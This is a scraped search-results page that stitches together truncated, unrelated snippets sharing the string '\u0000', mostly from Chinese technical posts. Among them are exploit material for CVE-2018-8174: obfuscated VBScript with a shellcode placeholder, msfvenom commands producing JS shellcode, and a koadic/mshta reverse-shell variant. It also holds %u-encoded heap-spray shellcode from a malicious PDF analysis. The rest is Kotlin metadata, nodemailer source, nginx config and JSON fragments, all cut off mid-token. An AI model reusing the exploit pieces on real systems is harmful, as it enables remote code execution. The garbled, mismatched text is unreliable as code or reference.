github.com/B1eed/VulRec CVE-2018-8174 首先CVE-8174-8174的原 PoC 中定义了一个Getshellcode函数,此函数为漏洞利用的核心函数,其功能使用JS...利用方法为 Msf 生成 shellcode 填充或使用自己的 shellcode 填充 Msf 命令如下: msfvenom -p windows/exec cmd=calc.exe -f js_le...则可使用以下几种方式 1、koadic 远控 mshta 功能反弹 shell msfvenom -p windows/exec cmd="mshta koadic生成的地址" -f js_le exitfunc...IE11 弹计算器,用MSF生成的以下 Shellcode+%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc...u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc ?
这样修改返回地址跳转到堆中的某个地址的时候滑行一段时间就能执行 shellcode(跳转到一堆滑行指令比起精准跳转到 shellcode 开头要容易) 在 PDFStreamDumper 中查看一下 JS...u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%...u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%...u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%...u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%
load_module modules/ngx_http_js_module.so; ... http { ......js_import app from script/app.js; server { ......location / { js_content app.simple; } } } 首先是全局显式声明加载 ngx_http_js_module.so 模块...method":"GET","uri":"/proxy/api-mysql/common/chat/chat-translation-data.json","responseText":"\u001f�\b\u0000...\u0000\u0000\u0000\u0000\u0000\u0003�Z[o\u0013G\u0014~G�?
load_module modules/ngx_http_js_module.so; ... http { ......js_import app from script/app.js; server { ......location / { js_content app.simple; } } } 首先是全局显式声明加载 ngx_http_js_module.so...method":"GET","uri":"/proxy/api-mysql/common/chat/chat-translation-data.json","responseText":"\u001f�\b\u0000...\u0000\u0000\u0000\u0000\u0000\u0003�Z[o\u0013G\u0014~G�?
\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000...\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000"]]...\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000...\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000...\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000
在这个样本中确实利用到了堆喷射的技术,借助 PDF 本身支持执行JS的特性,将shellcode借助JS写入内存中。...ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%...ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%...u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%...在前面的介绍中已经把核心的JS代码介绍了。接下来看下EXP中是怎么构造JS的。
\u0000\u0000\u0000\u0000\u0000\u0000" }, "upper_bound" : { "bytes" : "\u0004\u0000...\u0000\u0000\u0000\u0000\u0000\u0000" }, { "key" : 2, "value" : "\u0001\u0000\u0000...\u0000\u0000\u0000\u0000\u0000" }, { "key" : 3, "value" : "\u0001\u0000\u0000\u0000...\u0000\u0000\u0000\u0000\u0000\u0000" }, { "key" : 2, "value" : "\u0001\u0000\u0000...\u0000\u0000\u0000\u0000\u0000" }, { "key" : 3, "value" : "\u0001\u0000\u0000\u0000
③ 关于处理email.content的部分省略 一、使用 这段跟 官网example (https://nodemailer.com/about/#example) 一样: //位置:index.js...源码 //位置:nodemailer.js sendMail(data, callback) { let promise; //初始化 promiseCallback if...核心源码 //位置:smtp-connection.js _actionGreeting(str) { clearTimeout(this...._auth.user+'\u0000'+ //\u0000 表示空格也就是 空格+用户名+空格+密码 '\u0000' + // skip authorization identity..._auth.credentials.user + '\u0000' + this.
\b\n\u0000\n\u0002\u0010\u0002\n\u0000\u001a\u0006\u0010\u0000\u001a\u00020\u0001¨\u0006\u0002"},...\u0014\n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0002\b\u0002\n\u0002\u0010\u000e\n\u0002\b\u0005\u0018...u0001B\u0005¢\u0006\u0002\u0010\u0002R\u001a\u0010\u0003\u001a\u00020\u0004X\u0086\u000e¢\u0006\u000e\n\u0000...\b\n\u0000\n\u0002\u0010\u0002\n\u0000\u001a\u0006\u0010\u0000\u001a\u00020\u0001¨\u0006\u0002"},...\u0014\n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0002\b\u0002\n\u0002\u0010\u000e\n\u0002\b\u0005\u0018
\u001e\n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0002\b\u0002\n\u0002\u0010\u0002\n\u0000\n\u0002\u0010...\u000e\n\u0000\n\u0002\u0010\b\n\u0000\u0018\u00002\u00020\u0001B\u0005¢\u0006\u0002\u0010\u0002J\u001a...\b\n\u0000\n\u0002\u0010\u0002\n\u0000\u001a\u0006\u0010\u0000\u001a\u00020\u0001¨\u0006\u0002"},...\u000e\n\u0000\n\u0002\u0010\b\n\u0000\u0018\u00002\u00020\u0001B\u0005¢\u0006\u0002\u0010\u0002J\u001c...\b\n\u0000\n\u0002\u0010\u0002\n\u0000\u001a\u0006\u0010\u0000\u001a\u00020\u0001¨\u0006\u0002"},
org.jetbrains.annotations.NotNull; @Metadata( mv = {1, 1, 16}, bv = {1, 0, 3}, k = 2, d1 = {"\u0000...\u001c\n\u0000\n\u0002\u0010\u0002\n\u0002\b\u0002\n\u0002\u0010\u000e\n\u0000\n\u0002\u0010\b\n\u0000...\n\u0002\u0018\u0002\n\u0000\u001a\u0006\u0010\u0000\u001a\u00020\u0001\u001a0\u0010\u0002\u001a\u00020...\u001c\n\u0000\n\u0002\u0010\u0002\n\u0002\b\u0002\n\u0002\u0010\u000e\n\u0000\n\u0002\u0010\b\n\u0000...\n\u0002\u0018\u0002\n\u0000\u001a\u0006\u0010\u0000\u001a\u00020\u0001\u001a3\u0010\u0002\u001a\u00020
\n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0000\n\u0002\u0010\u000e\n\u0000\n\u0002\u0010\b\n\u0002...\u0016\u001a\u00020\u0003HÖ\u0001R\u001a\u0010\u0004\u001a\u00020\u0005X\u0086\u000e¢\u0006\u000e\n\u0000...\b\n\u0000\n\u0002\u0010\u0002\n\u0000\u001a\u0006\u0010\u0000\u001a\u00020\u0001¨\u0006\u0002"},...\n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0000\n\u0002\u0010\u000e\n\u0000\n\u0002\u0010\b\n\u0002...\b\n\u0000\n\u0002\u0010\u0002\n\u0000\u001a\u0006\u0010\u0000\u001a\u00020\u0001¨\u0006\u0002"},
/usr/bin/env python # -*- coding:utf-8 -*- a = "system\u0000" b = re.sub(u'\u0000', "", a) print...unicode-escape") print "decodedUniChars=",decodedUniChars; #decodedUniChars= crifan 在路上 以上这篇python去除删除数据中\u0000
\b\n\u0000\n\u0002\u0010\u0002\n\u0000\u001a\u0006\u0010\u0000\u001a\u00020\u0001¨\u0006\u0002"},...\u001a\n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0000\n\u0002\u0010\b\n\u0002\b\u0002\n\u0002\u0010\...u00020\u0003¢\u0006\u0002\u0010\u0007R\u001a\u0010\b\u001a\u00020\u0003X\u0086\u000e¢\u0006\u000e\n\u0000...t\u0010\n\"\u0004\b\u000b\u0010\u0004R\u001a\u0010\f\u001a\u00020\u0006X\u0086\u000e¢\u0006\u000e\n\u0000...u000e\"\u0004\b\u000f\u0010\u0010R\u001a\u0010\u0005\u001a\u00020\u0006X\u0086\u000e¢\u0006\u000e\n\u0000
partitions" : { "array" : [ { "contains_null" : false, "lower_bound" : { "bytes" : "\u0000...\u0000\u0000\u0000" }, "upper_bound" : { "bytes" : "\u0001\u0000\u0000\u0000" }..." : "zan" } }, { "contains_null" : false, "lower_bound" : { "bytes" : "\u0000...\u0000\u0000\u0000" }, "upper_bound" : { "bytes" : "S\u0002\u0000\u0000" }
@Metadata( mv = {1, 1, 15}, bv = {1, 0, 3}, k = 2, d1 = {"\u0000\f\n\u0000\n\u0002\u0010\u0002\n\...u0002\u0018\u0002\n\u0000\u001a\n\u0010\u0000\u001a\u00020\u0001*\u00020\u0002¨\u0006\u0003"}, d2 =...@Metadata( mv = {1, 1, 15}, bv = {1, 0, 3}, k = 2, d1 = {"\u0000\u0010\n\u0000\n\u0002\u0010\b\n\...u0000\n\u0002\u0018\u0002\n\u0002\b\u0003\"\u000e\u0010\u0000\u001a\u00020\u0001X\u0086T¢\u0006\u0002...\n\u0000\"\u0015\u0010\u0002\u001a\u00020\u0001*\u00020\u00038F¢\u0006\u0006\u001a\u0004\b\u0004\u0010
org.jetbrains.annotations.NotNull; @Metadata( mv = {1, 6, 0}, k = 2, xi = 48, d1 = {"\u0000...\n\u0000\n\n\u0000\n\n\n\b\n\b\n\b\u000002\f\b00¢ 020\b2\t...org.jetbrains.annotations.NotNull; import kotlin.Metadata; @Metadata(mv = { 1, 6, 0 }, k = 2, xi = 48, d1 = { "\u0000...\n\u0000\n\n\u0000\n\n\n\b\n\b\n\b\u000002\f\b00¢ 020\b2\t
57 Dim NtContinueAddr,VirtualProtectAddr 58 IlII=195948557 59 lIlIIl=Unescape("%u0001%u0880%u0001%u0000%...u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") 60 lIIIll=Unescape("%u0000%u0000%u0000%u0000%u0000%...u0000%u0000%u0000") 61 IllI=195890093 62 Function IIIII(Domain) 63 lIlII=0 64 IllllI=0...190 GetProcAddr=dll_base+p 191 End Function 192 Function GetShellcode() 193 IIlI=Unescape("%u0000%...u0000%u0000%u0000") &Unescape("REPLACE_SHELLCODE_HERE" &lIIII(IIIII(""))) 194 IIlI=IIlI & String(
\u0012\n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0002\u0008\u0002\n\u0002\u0010\u0002\n\u0000\u0008\...L1 0 MAXSTACK = 1 MAXLOCALS = 1 @Lkotlin/Metadata;(mv={1, 1, 5}, bv={1, 0, 1}, k=1, d1={"\u0000...\u0012\n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0002\u0008\u0002\n\u0002\u0010\u0002\n\u0000\u0018\...\u0016\n\u0000\n\u0002\u0010\u0002\n\u0000\n\u0002\u0018\u0002\n\u0002\u0008\u0002\n\u0002\u0010\u0000...\n\u0000\u0010\u0000\u001a\u00020\u00012\u000e\u0010\u0002\u001a\n \u0004*\u0004\u0018\u00010\u00030\
64 -1.79769313486231570E+308-1.79769313486231570E+308 0.0d char(字符型) 16 ‘ \u0000...-u\ffff ’ ‘\u0000 ’ boolean(布尔型) 1 true/false
领取专属 10元无门槛券
手把手带您无忧上云